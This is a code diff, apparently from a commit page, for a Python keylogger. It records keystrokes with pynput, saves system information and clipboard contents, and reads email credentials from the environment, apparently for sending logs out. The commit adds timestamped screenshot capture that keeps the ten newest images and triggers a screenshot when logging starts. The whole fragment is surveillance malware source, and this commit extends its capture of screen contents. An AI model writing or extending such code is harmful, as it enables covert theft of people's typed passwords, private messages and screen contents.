|
20 | 20 | from dotenv import load_dotenv |
21 | 21 | from pynput.keyboard import Listener |
22 | 22 |
|
| 23 | +import glob |
| 24 | +from datetime import datetime |
| 25 | + |
23 | 26 | # Load environment variables |
24 | 27 | load_dotenv() |
25 | 28 |
|
|
30 | 33 | keys_information = "data/key_log.txt" |
31 | 34 | system_information = "data/systeminfo.txt" |
32 | 35 | clipboard_information = "data/clipboard.txt" |
33 | | -screenshot_information = "data/screenshot.png" |
| 36 | +SCREENSHOT_DIR="data/screenshots" |
34 | 37 |
|
35 | 38 | # Retrieve email and password from environment variables |
36 | 39 | email_address = os.getenv('email') |
37 | 40 | password = os.getenv('pass') |
38 | 41 |
|
39 | 42 | # Global variables for email sending |
40 | | -toAddr = "" |
| 43 | +toAddr = "" |
41 | 44 | state = 0 |
42 | 45 | stopFlag = False |
43 | 46 |
|
@@ -109,9 +112,38 @@ def copy_clipboard(): |
109 | 112 |
|
110 | 113 | # Function to take screenshot |
111 | 114 | def screenshot(): |
| 115 | + os.makedirs(SCREENSHOT_DIR, exist_ok=True) |
| 116 | + |
| 117 | + timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") |
| 118 | + |
| 119 | + screenshot_information = os.path.join(SCREENSHOT_DIR, f"screenshot_{timestamp}.png") |
| 120 | + |
112 | 121 | im = ImageGrab.grab() |
113 | 122 | im.save(screenshot_information) |
114 | 123 |
|
| 124 | + print(f"Saved screenshot: {screenshot_information}") |
| 125 | + limit_screenshots(SCREENSHOT_DIR, keep=10) |
| 126 | + |
| 127 | + |
| 128 | + |
| 129 | +def limit_screenshots(directory, keep=10): |
| 130 | + |
| 131 | + """Delete old screenshots if more than 'keep' exist.""" |
| 132 | + |
| 133 | + screenshots = sorted( |
| 134 | + glob.glob(os.path.join(directory, "*.png")), |
| 135 | + key=os.path.getmtime |
| 136 | + ) |
| 137 | + |
| 138 | + if len(screenshots) > keep: |
| 139 | + for old_file in screenshots[:-keep]: |
| 140 | + try: |
| 141 | + os.remove(old_file) |
| 142 | + print(f"Deleted old screenshot: {old_file}") |
| 143 | + except Exception as e: |
| 144 | + print(f"Error deleting {old_file}: {e}") |
| 145 | + |
| 146 | + |
115 | 147 |
|
116 | 148 | # Global variables for key logging |
117 | 149 | count = 0 |
@@ -146,6 +178,7 @@ def start_logger(): |
146 | 178 | count = 900 |
147 | 179 | listener.start() |
148 | 180 | btnStr.set("Stop Keylogger") |
| 181 | + screenshot() |
149 | 182 | while True: |
150 | 183 | print(count) |
151 | 184 | if stopFlag: |
|
0 commit comments